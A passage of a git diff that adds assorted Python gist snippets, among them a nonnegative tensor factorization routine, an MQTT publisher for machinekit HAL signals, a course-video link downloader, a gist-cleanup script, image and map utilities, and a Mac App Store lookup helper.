+    This function solves the following problem: given A and B, find X such that
+               minimize || AX-B ||_F^2 where X>=0 elementwise.
+
+    Reference:
+        Jingu Kim and Haesun Park. Fast Nonnegative Matrix Factorization:
+            An Activeset-like Method and Comparisons.
+            SIAM Journal on Scientific Computing, 33(6), pp. 3261-3281, 2011.
+
+    Based on the Matlab version written by Jingu Kim (jingu.kim@gmail.com)
+                  School of Computational Science and Engineering,
+                  Georgia Institute of Technology
+
+    Parameters
+    ----------
+    A : input matrix (m x n) (by default),
+        or A'*A (n x n) if isInputProd==1
+
+    B : input matrix (m x k) (by default),
+        or A'*B (n x k) if isInputProd==1
+
+    overwrite : (optional, default:0)
+        if turned on, unconstrained least squares solution is computed
+        in the beginning
+
+    isInputProd : (optional, default:0)
+        if turned on, use (A'*A,A'*B) as input instead of (A,B)
+
+    init : (optional) initial value for X
+
+    Returns
+    -------
+    X : the solution (n x k)
+
+    Y : A'*A*X - A'*B where X is the solution (n x k)
+    """
+
+    if isInputProd:
+        AtA = A
+        AtB = B
+    else:
+        AtA = A.T.dot(A)
+        AtB = A.T.dot(B)
+
+    n, k = AtB.shape
+    MAX_BIG_ITER = n * 5
+
+    # set initial feasible solution
+    X = zeros((n, k))
+    if init is None:
+        Y = - AtB
+        PassiveSet = zeros((n, k), dtype=np.bool)
+    else:
+        PassiveSet = (init > 0).copy()
+        X = normalEqComb(AtA, AtB, PassiveSet)
+        Y = AtA.dot(X) - AtB
+
+    # parameters
+    pbar = 3
+    P = zeros((1, k))
+    P[:] = pbar
+    Ninf = zeros((1, k))
+    Ninf[:] = n + 1
+
+    NonOptSet = (Y < 0) & ~PassiveSet
+    InfeaSet = (X < 0) & PassiveSet
+    NotGood = (np.sum(NonOptSet, axis=0) + \
+               np.sum(InfeaSet, axis=0))[np.newaxis, :]
+    NotOptCols = NotGood > 0
+
+    bigIter = 0
+
+    while find(NotOptCols).shape[0] > 0:
+
+        bigIter = bigIter + 1
+        # set max_iter for ill-conditioned (numerically unstable) case
+        if ((MAX_BIG_ITER > 0) & (bigIter > MAX_BIG_ITER)):
+            break
+
+        Cols1 = NotOptCols & (NotGood < Ninf)
+        Cols2 = NotOptCols & (NotGood >= Ninf) & (P >= 1)
+        Cols3Ix = find(NotOptCols & ~Cols1 & ~Cols2)
+
+        if find(Cols1).shape[0] > 0:
+            P[Cols1] = pbar
+            NotGood[Cols1]
+            Ninf[Cols1] = NotGood[Cols1]
+            PassiveSet[NonOptSet & tile(Cols1, (n, 1))] = True
+            PassiveSet[InfeaSet & tile(Cols1, (n, 1))] = False
+
+        if find(Cols2).shape[0] > 0:
+            P[Cols2] = P[Cols2] - 1
+            PassiveSet[NonOptSet & tile(Cols2, (n, 1))] = True
+            PassiveSet[InfeaSet & tile(Cols2, (n, 1))] = False
+
+        if Cols3Ix.shape[0] > 0:
+            for i in range(Cols3Ix.shape[0]):
+                Ix = Cols3Ix[i]
+                toChange = np.max(find(NonOptSet[:, Ix] | InfeaSet[:, Ix]))
+                if PassiveSet[toChange, Ix]:
+                    PassiveSet[toChange, Ix] = False
+                else:
+                    PassiveSet[toChange, Ix] = True
+
+        Z = normalEqComb(AtA, AtB[:, NotOptCols.flatten()],
+                         PassiveSet[:, NotOptCols.flatten()])
+        X[:, NotOptCols.flatten()] = Z[:]
+        X[abs(X) < 1e-12] = 0  # for numerical stability.
+        Y[:, NotOptCols.flatten()] = AtA.dot(X[:, NotOptCols.flatten()]) - \
+                                     AtB[:, NotOptCols.flatten()]
+        Y[abs(Y) < 1e-12] = 0  # for numerical stability.
+
+        # check optimality
+        NotOptMask = tile(NotOptCols, (n, 1))
+        NonOptSet = NotOptMask & (Y < 0) & ~PassiveSet
+        InfeaSet = NotOptMask & (X < 0) & PassiveSet
+        NotGood = (np.sum(NonOptSet, axis=0) +
+                   np.sum(InfeaSet, axis=0))[np.newaxis, :]
+        NotOptCols = NotGood > 0
+
+    return X, Y
+
+
+def getGradient(X, F, nWay, r):
+    grad = []
+    for k in range(nWay):
+        ways = range(nWay)
+        ways.remove(k)
+        XF = X.uttkrp(F, k)
+        # Compute the inner-product matrix
+        FF = ones((r, r))
+        for i in ways:
+            FF = FF * (F[i].T.dot(F[i]))
+        grad.append(F[k].dot(FF) - XF)
+    return grad
+
+
+def getProjGradient(X, F, nWay, r):
+    pGrad = []
+    for k in range(nWay):
+        ways = range(nWay)
+        ways.remove(k)
+        XF = X.uttkrp(F, k)
+        # Compute the inner-product matrix
+        FF = ones((r, r))
+        for i in ways:
+            FF = FF * (F[i].T.dot(F[i]))
+        grad = F[k].dot(FF) - XF
+        grad[~((grad < 0) | (F[k] > 0))] = 0.
+        pGrad.append(grad)
+    return pGrad
+
+
+class anls_asgroup(object):
+
+    def initializer(self, X, F, nWay, orderWays):
+        F[orderWays[0]] = zeros(F[orderWays[0]].shape)
+        FF = []
+        for k in range(nWay):
+            FF.append((F[k].T.dot(F[k])))
+        return F, FF
+
+    def iterSolver(self, X, F, FF_init, nWay, r, orderWays):
+        # solve NNLS problems for each factor
+        for k in range(nWay):
+            curWay = orderWays[k]
+            ways = range(nWay)
+            ways.remove(curWay)
+            XF = X.uttkrp(F, curWay)
+            # Compute the inner-product matrix
+            FF = ones((r, r))
+            for i in ways:
+                FF = FF * FF_init[i]  # (F[i].T.dot(F[i]))
+            ow = 0
+            Fthis, temp = nnlsm_activeset(FF, XF.T, ow, 1, F[curWay].T)
+            F[curWay] = Fthis.T
+            FF_init[curWay] = (F[curWay].T.dot(F[curWay]))
+        return F, FF_init
+
+
+class anls_bpp(object):
+
+    def initializer(self, X, F, nWay, orderWays):
+        F[orderWays[0]] = zeros(F[orderWays[0]].shape)
+        FF = []
+        for k in range(nWay):
+            FF.append((F[k].T.dot(F[k])))
+        return F, FF
+
+    def iterSolver(self, X, F, FF_init, nWay, r, orderWays):
+        for k in range(nWay):
+            curWay = orderWays[k]
+            ways = range(nWay)
+            ways.remove(curWay)
+            XF = X.uttkrp(F, curWay)
+            # Compute the inner-product matrix
+            FF = ones((r, r))
+            for i in ways:
+                FF = FF * FF_init[i]  # (F[i].T.dot(F[i]))
+            Fthis, temp = nnlsm_blockpivot(FF, XF.T, 1, F[curWay].T)
+            F[curWay] = Fthis.T
+            FF_init[curWay] = (F[curWay].T.dot(F[curWay]))
+        return F, FF_init
+
+
+def getStopCriterion(pGrad, nWay, nr_grad_all):
+    retVal = np.sum(np.linalg.norm(pGrad[i], 'fro') ** 2
+                    for i in range(nWay))
+    return np.sqrt(retVal) / nr_grad_all
+
+
+def getRelError(X, F_kten, nWay, nr_X):
+    error = nr_X ** 2 + F_kten.norm() ** 2 - 2 * F_kten.innerprod(X)
+    return np.sqrt(max(error, 0)) / nr_X
+
+
+def nonnegative_tensor_factorization(X, r, method='anls_bpp',
+                                     tol=1e-4, stop_criterion=1,
+                                     min_iter=20, max_iter=200, max_time=1e6,
+                                     init=None, orderWays=None):
+    """
+    Nonnegative Tensor Factorization (Canonical Decomposition / PARAFAC)
+
+    Based on the Matlab version written by Jingu Kim (jingu.kim@gmail.com)
+               School of Computational Science and Engineering,
+               Georgia Institute of Technology
+
+    This software implements nonnegativity-constrained low-rank approximation
+    of tensors in PARAFAC model. Assuming that a k-way tensor X and target rank
+    r are given, this software seeks F1, ... , Fk by solving the following
+    problem:
+
+    minimize
+        || X- sum_(j=1)^r (F1_j o F2_j o ... o Fk_j) ||_F^2 +
+              G(F1, ... , Fk) + H(F1, ..., Fk)
+    where
+        G(F1, ... , Fk) = sum_(i=1)^k ( alpha_i * ||Fi||_F^2 ),
+        H(F1, ... , Fk) = sum_(i=1)^k ( beta_i sum_(j=1)^n || Fi_j ||_1^2 ).
+    such that
+        Fi >= 0 for all i.
+
+    To use this software, it is necessary to first install scikit_tensor.
+
+    Reference:
+         Fast Nonnegative Tensor Factorization with an Active-set-like Method.
+         Jingu Kim and Haesun Park.
+         In High-Performance Scientific Computing: Algorithms and Applications,
+         Springer, 2012, pp. 311-326.
+
+    Parameters
+    ----------
+    X : tensor' object of scikit_tensor
+        Input data tensor.
+
+    r : int
+        Target low-rank.
+
+    method : string, optional
+        Algorithm for solving NMF. One of the following values:
+         'anls_bpp' 'anls_asgroup' 'hals' 'mu'
+         See above paper (and references therein) for the details
+         of these algorithms.
+         Default is 'anls_bpp'.
+
+    tol : float, optional
+        Stopping tolerance. Default is 1e-4.
+        If you want to obtain a more accurate solution,
+        decrease TOL and increase MAX_ITER at the same time.
+
+    min_iter : int, optional
+        Minimum number of iterations. Default is 20.
+
+    max_iter : int, optional
+        Maximum number of iterations. Default is 200.
+
+    init : A cell array that contains initial values for factors Fi.
+            See examples to learn how to set.
+
+    Returns
+    -------
+        F : a 'ktensor' object that represent a factorized form of a tensor.
+
+    Examples
+    --------
+        F = nonnegative_tensor_factorization(X, 5)
+        F = nonnegative_tensor_factorization(X, 10, tol=1e-3)
+        F = nonnegative_tensor_factorization(X, 7, init=Finit, tol=1e-5)
+    """
+
+    nWay = len(X.shape)
+
+    if orderWays is None:
+        orderWays = np.arange(nWay)
+
+    # set initial values
+    if init is not None:
+        F_cell = init
+    else:
+        Finit = [np.random.rand(X.shape[i], r) for i in range(nWay)]
+        F_cell = Finit
+
+    grad = getGradient(X, F_cell, nWay, r)
+
+    nr_X = X.norm()
+    nr_grad_all = np.sqrt(np.sum(np.linalg.norm(grad[i], 'fro') ** 2
+                                 for i in range(nWay)))
+
+    if method == "anls_bpp":
+        method = anls_bpp()
+    elif method == "anls_asgroup":
+        method = anls_asgroup()
+    else:
+        raise Exception("Unknown method")
+
+    # Execute initializer
+    F_cell, FF_init = method.initializer(X, F_cell, nWay, orderWays)
+
+    tStart = time.time()
+
+    if stop_criterion == 2:
+        F_kten = ktensor(F_cell)
+        rel_Error = getRelError(X, ktensor(F_cell), nWay, nr_X)
+
+    if stop_criterion == 1:
+        pGrad = getProjGradient(X, F_cell, nWay, r)
+        SC_PGRAD = getStopCriterion(pGrad, nWay, nr_grad_all)
+
+    # main iterations
+    for iteration in range(max_iter):
+        cntu = True
+
+        F_cell, FF_init = method.iterSolver(X, F_cell,
+                                            FF_init, nWay, r, orderWays)
+        F_kten = ktensor(F_cell)
+
+        if iteration >= min_iter:
+
+            if time.time() - tStart > max_time:
+                cntu = False
+
+            else:
+
+                if stop_criterion == 1:
+                    pGrad = getProjGradient(X, F_cell, nWay, r)
+                    SC_PGRAD = getStopCriterion(pGrad, nWay, nr_grad_all)
+                    if SC_PGRAD < tol:
+                        cntu = False
+
+                elif stop_criterion == 2:
+                    prev_rel_Error = rel_Error
+                    rel_Error = getRelError(X, F_kten, nWay, nr_X)
+                    SC_DIFF = np.abs(prev_rel_Error - rel_Error)
+                    if SC_DIFF < tol:
+                        cntu = False
+                else:
+                    rel_Error = getRelError(X, F_kten, nWay, nr_X)
+                    if rel_Error < 1:
+                        cntu = False
+
+        if not cntu:
+            break
+
+    return F_kten
+
+
+def main():
+
+    from numpy.random import rand
+
+    # -----------------------------------------------
+    # Creating a synthetic 4th-order tensor
+    # -----------------------------------------------
+    N1 = 20
+    N2 = 25
+    N3 = 30
+    N4 = 30
+
+    R = 10
+
+    # Random initialization
+    np.random.seed(42)
+
+    A_org = np.random.rand(N1, R)
+    A_org[A_org < 0.4] = 0
+
+    B_org = rand(N2, R)
+    B_org[B_org < 0.4] = 0
+
+    C_org = rand(N3, R)
+    C_org[C_org < 0.4] = 0
+
+    D_org = rand(N4, R)
+    D_org[D_org < 0.4] = 0
+
+    X_ks = ktensor([A_org, B_org, C_org, D_org])
+    X = X_ks.totensor()
+
+    # -----------------------------------------------
+    # Tentative initial values
+    # -----------------------------------------------
+    A0 = np.random.rand(N1, R)
+    B0 = np.random.rand(N2, R)
+    C0 = np.random.rand(N3, R)
+    D0 = np.random.rand(N4, R)
+
+    Finit = [A0, B0, C0, D0]
+
+    # -----------------------------------------------
+    # Uncomment only one of the following
+    # -----------------------------------------------
+    X_approx_ks = nonnegative_tensor_factorization(X, R)
+
+#     X_approx_ks = nonnegative_tensor_factorization(X, R,
+#                                                    min_iter=5, max_iter=20)
+#
+#     X_approx_ks = nonnegative_tensor_factorization(X, R,
+#                                                    method='anls_asgroup')
+#
+#     X_approx_ks = nonnegative_tensor_factorization(X, R,
+#                                                    tol=1e-7, max_iter=300)
+#
+#     X_approx_ks = nonnegative_tensor_factorization(X, R,
+#                                                    init=Finit)
+
+    # -----------------------------------------------
+    # Approximation Error
+    # -----------------------------------------------
+    X_approx = X_approx_ks.totensor()
+    X_err = (X - X_approx).norm() / X.norm()
+    print "Error:", X_err
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/7719991351343a92aa7b654d2b36c8db/._snippet.py b/hard-gists/7719991351343a92aa7b654d2b36c8db/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7719991351343a92aa7b654d2b36c8db/._snippet.py differ
diff --git a/hard-gists/7719991351343a92aa7b654d2b36c8db/snippet.py b/hard-gists/7719991351343a92aa7b654d2b36c8db/snippet.py
new file mode 100644
index 00000000..a7f7c141
--- /dev/null
+++ b/hard-gists/7719991351343a92aa7b654d2b36c8db/snippet.py
@@ -0,0 +1,86 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+#
+# Sends HAL signals to the given MQTT broker host.
+#
+# usage: hal2mqtt.py [hostname]
+#
+# Video demo at https://www.youtube.com/watch?v=uFbr7xBjItE
+#
+# sudo apt-get install mosquitto mosquitto-clients python-mosquitto
+# sudo pip install paho-mqtt
+
+import sys
+import re
+import time
+import hal
+import logging
+
+from machinekit import hal
+import paho.mqtt.client as mqtt
+
+import subprocess
+from shlex import split
+
+thread_sleep = 0 # sleep [sec] between updates
+#thread_sleep = 0.001 # sleep [sec] between updates
+
+logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)
+#logging.basicConfig(stream=sys.stderr, level=logging.INFO)
+
+v = {}
+
+def hal2mqtt(client, name, value, t):
+
+  d = ""
+
+  if name in v:
+    d = v[name]
+    # print(d)
+
+  if value != d:
+    v[name] = value
+    cmd = "%f %f" % (t, value)
+    #print(cmd)
+#    client.publish(name, cmd, 0, True) # qos0, retain
+    client.publish(name, cmd, 0, False) # qos0, no retain
+#    client.publish(name, cmd, 2, True)
+
+def on_connect(client, userdata, rc):
+#  client.subscribe("esp-01/gp2")
+  return
+
+def on_message(client, userdata, msg):
+  return
+
+class C :
+  def __init__(self) :
+    logging.debug("ready")
+        
+  def run(self) :
+    client = mqtt.Client()
+    client.on_connect = on_connect
+    client.on_message = on_message
+    #client.username_pw_set(userID, password)
+
+    host = sys.argv[1]
+    client.connect(host, 1883, 60)
+
+#    client.connect("test.mosquitto.org", 1883, 60)
+#    client.connect("iot.eclipse.org", 1883, 60)
+#    client.connect("localhost", 1883, 60)
+    while 1:
+      try:
+        t = time.time()
+        for sig in hal.signals():
+          s = hal.Signal(sig)
+          for pin in s.pins():
+            if (pin.name == "pwmgen.0.pwm"): # filter by name
+              hal2mqtt(client, pin.name, float(pin.get()), t)
+                               
+          time.sleep(thread_sleep)
+      except KeyboardInterrupt :
+        raise SystemExit
+
+i = C()
+i.run()
diff --git a/hard-gists/771dabe22b34d59728bddcf87b26cf54/._snippet.py b/hard-gists/771dabe22b34d59728bddcf87b26cf54/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/771dabe22b34d59728bddcf87b26cf54/._snippet.py differ
diff --git a/hard-gists/771dabe22b34d59728bddcf87b26cf54/snippet.py b/hard-gists/771dabe22b34d59728bddcf87b26cf54/snippet.py
new file mode 100644
index 00000000..47e85859
--- /dev/null
+++ b/hard-gists/771dabe22b34d59728bddcf87b26cf54/snippet.py
@@ -0,0 +1,164 @@
+__author__ = "Ali Bahraminezhad - antipattern.ir"
+__license__ = "GPL"
+__version__ = "1.0.0"
+__maintainer__ = "Ali Bahraminezhad"
+
+
+import re
+import os
+import tempfile
+import json
+import urllib.request
+import xml.etree.ElementTree as ET
+from urllib.parse import urlparse
+
+# url patterns to downlaod and get course strucutres from Microsoft Virtual Academy
+urlPattern = "https://api-mlxprod.microsoft.com/services/products/anonymous/{}?languageId=12"
+courseDetailsPattern = "https://cp-mlxprod-static.microsoft.com/{}/en-us/coursedetails.xml"
+manifestPattern = "https://cp-mlxprod-static.microsoft.com/{}/en-us/imsmanifestlite.json"
+videoPattern = "https://cp-mlxprod-static.microsoft.com/{}/en-us/content/content_{}/videosettings.xml"
+subtitlePattern = "https://cp-mlxprod-static.microsoft.com/{}/en-us/{}"
+
+"""Replace all \/ with /"""
+def fix_slash(str):
+    return str.replace('\/', '/')
+
+"""Replace some invalid characters for filenames"""
+def fix_name(str):
+    not_allowed_chars = ['!', '<', '>', '?', '*', '|', '"', ':', '/', '\\', '.']
+    for char in not_allowed_chars:
+        str = str.replace(char, ' ').strip();
+    return str
+
+"""Windows clear console"""
+def cls():
+    os.system('cls')
+
+"""Download html from a URL with utf-8-sig encoding"""
+def download_string(url):
+    response = urllib.request.urlopen(url)
+    data = response.read()
+    return data.decode('utf-8-sig')
+
+"""Download and save html/text with utf-8-encoding and save it to the disk"""
+def download_and_save(url, filePath):
+    with open(filePath, mode='w', encoding='utf-8') as a_file:
+        a_file.write(download_string(url)) 
+
+"""Append string to a text file"""
+def append_to_file(str, filePath):
+    with open(filePath, "a") as myfile:
+        myfile.write(str)
+
+"""Create a text file with some string"""
+def create_text_file(str, filePath):
+    with open(filePath, mode='w', encoding='utf-8') as a_file:
+        a_file.write(str) 
+
+"""Use regex to extract course id from MVA urls"""
+def extract_cource_id(url):
+    url = urlparse(url).path
+    return re.search('-(\d*)$', url).group(1)
+
+"""Use regex to extract complete course id from MVA xmls"""
+def extract_main_cource_id(url):
+    return re.search('(\d+-\d+)', url).group(1) 
+
+
+if __name__ == "__main__":
+
+    # Course titles will store here
+    titles = []
+
+    # Each video course has a subtitle, subtitle links will store here
+    subtitles = []
+
+    # Depands on the course, each course might have several video qualities
+    # Urls will store here by their quality
+    courseItems = {
+        '1080p': [],
+        '720p': [],
+        '540p': [],
+        '360p': [],
+    }
+
+    # Let the game begins
+    courceUrl = input("Enter course url:")
+    courseId = extract_cource_id(courceUrl)
+
+    cls()
+    print('Getting course details, pelase wait...')
+
+    # get the main url
+    try:
+        mainUrl = fix_slash(download_string(urlPattern.format(courseId)))
+        mainCourseId = extract_main_cource_id(mainUrl)
+    except:
+        print('Error: Course URL IS NOT VALID')
+        raise SystemExit
+    
+    # download course data
+    courseDetails = ET.fromstring(download_string(courseDetailsPattern.format(mainCourseId)))
+    manifest = json.loads(download_string(manifestPattern.format(mainCourseId)))['manifest']
+    
+    # print course data
+    print(manifest['metadata']['title'].strip())
+
+    # getting table of contents
+    print("Getting table of contents, video links and subtitles, please wait ...")
+    for item in manifest['organizations']['organization']:
+        for i in item['item']:
+            for j in i['item']:
+                titles.append(j['title'].strip())     
+                # getting video urls
+                if j['resource']['metadata']['learningresourcetype'].lower() == 'video':
+                    videoSetting = ET.fromstring(download_string(videoPattern.format(mainCourseId, j['@identifier'].lower())))                 
+
+                    # extract download links and subtitle
+                    videos = videoSetting.find(".//MediaSources[@videoType='progressive']")
+                    subtitle = videoSetting.find(".//MarkerResourceSource[@type='ttml']")
+
+                    if subtitle != None and subtitle.text != None:
+                        subtitles.append(subtitlePattern.format(mainCourseId, subtitle.text))
+
+                    for video in videos:
+                       courseItems[video.get('videoMode')].append(video.text.strip())                
+    
+    # create directory for downloaded files
+    projectDir = './' + fix_name(manifest['metadata']['title'])
+    subtitleDir = projectDir + '/subtitles/'
+    if not os.path.exists(projectDir):
+        os.makedirs(projectDir)
+        os.makedirs(subtitleDir)
+
+    # download subtitles by user desire
+    if len(subtitles) > 0:
+        downloadSubtitles = input('Would you like to download subttiles? (y/n)')
+        if downloadSubtitles.lower() == 'y':
+            print('Downloading subtitles, please wait ...')
+            for counter in range(0, len(subtitles)):
+                download_and_save(subtitles[counter], '{}/{}-{}{}'.format(subtitleDir,(counter + 1), fix_name(titles[counter]), '.ttml'))
+    
+    print('Exporting video links, please wait ...')
+    # save download links into text files
+    for quality, links in courseItems.items():
+        # create a empty file for quality
+        txt_quality_file_path = './{}/{}.txt'.format(projectDir, quality)
+        create_text_file('', txt_quality_file_path)
+
+        if len(links) == 0:
+            os.remove(txt_quality_file_path)
+            continue
+
+        counter = 0
+        for url in links:
+            append_to_file(titles[counter], txt_quality_file_path)
+            append_to_file('\n', txt_quality_file_path)
+            append_to_file(url, txt_quality_file_path)
+            append_to_file('\n\n', txt_quality_file_path)
+            counter = counter + 1
+
+
+    print('Files saved in "{}"'.format(os.path.abspath(projectDir)))
+
+
diff --git a/hard-gists/7720207/._snippet.py b/hard-gists/7720207/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7720207/._snippet.py differ
diff --git a/hard-gists/7720207/snippet.py b/hard-gists/7720207/snippet.py
new file mode 100644
index 00000000..a41a2a87
--- /dev/null
+++ b/hard-gists/7720207/snippet.py
@@ -0,0 +1,7 @@
+# pip install PyGithub
+from github import Github
+
+g = Github(G_USER, G_PASS)
+
+for gist in g.get_user().get_gists():
+  gist.delete()
diff --git a/hard-gists/7752095/._snippet.py b/hard-gists/7752095/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7752095/._snippet.py differ
diff --git a/hard-gists/7752095/snippet.py b/hard-gists/7752095/snippet.py
new file mode 100644
index 00000000..cea2d7b3
--- /dev/null
+++ b/hard-gists/7752095/snippet.py
@@ -0,0 +1,31 @@
+import clipboard
+import Image
+import console
+import webbrowser
+import photos
+
+im1 = clipboard.get_image(idx=0)
+im2 = clipboard.get_image(idx=1)
+im3 = clipboard.get_image(idx=2)
+im4 = clipboard.get_image(idx=3)
+background = Image.new('RGBA', (612,612), (255, 255, 255, 255))
+console.clear()
+print "Generating image..."
+console.show_activity()
+a=im1.resize((306,306),Image.ANTIALIAS)
+b=im2.resize((306,306),Image.ANTIALIAS)
+c=im3.resize((306,306),Image.ANTIALIAS)
+d=im4.resize((306,306),Image.ANTIALIAS)
+background.paste(a,(0,0))
+background.paste(b,(306,0))
+background.paste(c,(0,306))
+background.paste(d,(306,306))
+background.show()
+console.hide_activity()
+photos.save_image(background)
+inst='instagram://camera'
+webbrowser.open(inst)
+		
+
+
+
diff --git a/hard-gists/777789/._snippet.py b/hard-gists/777789/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/777789/._snippet.py differ
diff --git a/hard-gists/777789/snippet.py b/hard-gists/777789/snippet.py
new file mode 100644
index 00000000..f7f738a5
--- /dev/null
+++ b/hard-gists/777789/snippet.py
@@ -0,0 +1,34 @@
+# -*- coding:utf-8 -*-
+import re
+import urllib2
+from lib.BeautifulSoup import BeautifulSoup
+
+agent="""Sosospider+(+http://help.soso.com/webspider.htm)"""
+
+blog_url = 'http://blog.sina.com.cn/s/articlelist_1517582220_0_1.html'
+spider_handle = urllib2.urlopen(blog_url)
+blog_content = spider_handle.read()
+soup = BeautifulSoup(blog_content, fromEncoding='utf-8')
+item_list = soup.findAll('span', {'class':'atc_title'})
+
+urls = ['http://blog.csdn.net/heiyeshuwu/archive/2010/12/19/6085876.aspx']
+#for item in item_list:
+#    urls.append(item.a['href'])
+    
+for url in urls:
+    request = urllib2.Request(url)
+    request.add_header('User-Agent', agent)
+    handle = urllib2.urlopen(request).read()
+    article_soup = BeautifulSoup(handle, fromEncoding='utf-8')
+    title = article_soup.find('h1',{'class':'title_txt'})
+    content = article_soup.find('div',{'id':'sina_keyword_ad_area2'})
+#    tmp = []
+#    for c  in content.contents:
+#        print type(c)
+#        tmp.append(c.__str__('utf-8'))
+    print url
+    print title.contents
+    print title.contents[2].replace('\t', '').replace('\r\n', '')
+#    print ''.join(tmp)
+    exit()
+    
\ No newline at end of file
diff --git a/hard-gists/778260a1f0553575be99/._snippet.py b/hard-gists/778260a1f0553575be99/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/778260a1f0553575be99/._snippet.py differ
diff --git a/hard-gists/778260a1f0553575be99/snippet.py b/hard-gists/778260a1f0553575be99/snippet.py
new file mode 100644
index 00000000..fd311cd1
--- /dev/null
+++ b/hard-gists/778260a1f0553575be99/snippet.py
@@ -0,0 +1,39 @@
+# Resulting video from this code can be seen here:
+#   http://www.ifweassume.com/2015/02/world-population-density.html
+# or
+#   https://vimeo.com/120308257
+
+import numpy as np
+import matplotlib.pyplot as plt
+from mpl_toolkits.basemap import Basemap
+import os
+
+file = 'gl_gpwv3_pcount_00_ascii_25/glp00g.asc'
+pop_data = np.loadtxt(file, skiprows=6)
+# data file from here:
+# http://sedac.ciesin.columbia.edu/data/set/gpw-v3-population-density/data-download
+
+xo = np.arange(-180,180,0.0416666666667)
+yo = np.arange(-58,85,0.0416666666667)
+xx,yy = np.meshgrid(xo,yo,indexing='xy')
+
+i=0
+# go from positive to negative, make globe spin correctly
+for lon in xrange(180,-180,-1):
+    print(i+1, ' ', lon)
+    map = Basemap(projection='ortho', lat_0=10, lon_0=lon, resolution='l')
+    xm, ym = map(xx,yy)
+
+    plt.figure(figsize=(9,9))
+    map.contourf(xm, ym, np.log10(pop_data[::-1, :] +1), cmap=plt.cm.Blues)
+    map.drawcoastlines(linewidth=1.25)
+    map.drawparallels(np.arange(-90.,91.,30.))
+    map.drawmeridians(np.arange(-180, 181., 60.))
+
+    plt.savefig("img/frame" + format(i, '04') + '.jpeg')
+    plt.clf()
+    plt.close()
+    i = i+1
+    
+# render the video file using FFMPEG
+os.system('ffmpeg -r 20 -i img/frame%04d.jpeg -qscale 1 movie.mp4')
\ No newline at end of file
diff --git a/hard-gists/7785749/._snippet.py b/hard-gists/7785749/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7785749/._snippet.py differ
diff --git a/hard-gists/7785749/snippet.py b/hard-gists/7785749/snippet.py
new file mode 100644
index 00000000..89dbd167
--- /dev/null
+++ b/hard-gists/7785749/snippet.py
@@ -0,0 +1,189 @@
+# App Store playing
+
+import urllib, urllib2, json, plistlib
+
+###
+# Utility function for performing an iTunes-style search
+
+def perform_itunes_search(api_url, query_list=[]):
+    query_str = urllib.urlencode(query_list)
+    response_handle = urllib2.urlopen('https://itunes.apple.com/%s?%s' % (api_url, query_str))
+    response = json.loads(response_handle.read())
+    response_handle.close()
+    return response
+
+# Utility function for parsing iTunes-style search results for Mac apps
+
+def parse_itunes_result(a_result):
+    app_info = {'name': a_result['trackName'],
+                'size': int(a_result['fileSizeBytes']),
+                'CFBundleIdentifier': a_result['bundleId'],
+                'CFBundleShortVersionString': a_result['version'],
+                'adam-id': a_result['trackId'],
+                'installed-version-identifier': 0}
+    return app_info
+
+###
+# These two functions are good if you know only partial information about single apps.
+# However, the third function is better if you know the right information - in that it can batch lookup
+
+# Look up an application by bundle ID
+
+def lookup_app_bundle_id(bundle_id, raw_result=False):
+    response = perform_itunes_search('en/lookup', query_list=[('bundleId', bundle_id)])
+    if response['resultCount'] > 0:
+        if raw_result:
+            # Return the data the app store provided, in its entirety
+            return response
+        # Otherwise assume the first hit is what we want and return information relevant to updates
+        return parse_itunes_result(response['results'][0])
+
+# Lookup an application by name
+# This is much less reliable than the bundle ID lookup, avoid when possible
+
+def lookup_app_name(app_name, raw_result=False):
+    response = perform_itunes_search('search', query_list=[('term', app_name), ('media', 'software'), ('entity', 'macSoftware')])
+    if response['resultCount'] > 0:
+        if raw_result:
+            # Return the data the app store provided, in its entirety
+            return response
+        # Otherwise assume the first hit is what we want and return information relevant to updates
+        return parse_itunes_result(response['results'][0])
+
+###
+# This function uses the Mac App Store update checker mechanism.
+# It can accept a batch collection of apps to lookup information for.
+# It works best with information directly from the receipts and bundle of the application itself.
+# Specifically, if it can extract the App Store installed version identifier, a response for that application
+# will only be generated if the version is older than (or not found in) the newest version in the version history
+# known by the App Store.
+# For information on extracting this from the receipts of apps, check my project here:
+# https://github.com/pudquick/pyMASreceipt/blob/master/pyMASreceipt.py
+# If you pass '0' for the installed-version-identifier, you will always get a result for the app from the App Store
+# update mechanism, which includes the latest installed-version-identifier (and all prior ones)
+
+def check_app_updates(app_info_list, raw_result=False):
+    # This function expects a list of dicts with, at a minimum, the 'adam-id' key set
+    # This ID is the unique product identifier for an app on the App Store and can be found in the store URL
+    # when viewing the app's page in a web browser, like so:
+    # https://itunes.apple.com/us/app/evernote/id406056744
+    #                                            ^^^^^^^^^
+    # The other 3 keys that will be passed in the search are: CFBundleIdentifier, CFBundleShortVersionString, and
+    # installed-version-identifier (explained earlier). Lack of any of these keys will result in a filler value
+    # being provided which, as long as the adam-id is present, the App Store update mechanism doesn't seem to
+    # care about.
+    update_url = 'https://su.itunes.apple.com/WebObjects/MZSoftwareUpdate.woa/wa/availableSoftwareUpdatesExtended'
+    request = urllib2.Request(update_url)
+    # Headers #
+    # This sets us to the US store. See:
+    # http://blogs.oreilly.com/iphone/2008/08/scraping-appstore-reviews.html
+    # http://secrets.blacktree.com/edit?id=129761
+    request.add_header('X-Apple-Store-Front', '143441-1,13')
+    # This indicates we're sending an XML plist
+    request.add_header('Content-Type', 'application/x-apple-plist')
+    # This seems to be the minimum string to be recognized as a valid app store update checker
+    # Normally, it's of the form: User-Agent: MacAppStore/1.3 (Macintosh; OS X 10.9) AppleWebKit/537.71
+    request.add_header('User-Agent', 'MacAppStore')
+    # Build up the plist
+    local_software = []
+    for an_app in app_info_list:
+        app_entry = {'CFBundleIdentifier': an_app.get('CFBundleIdentifier', '.'),
+                     'CFBundleShortVersionString': an_app.get('CFBundleShortVersionString', '0'),
+                     'adam-id': an_app['adam-id'],
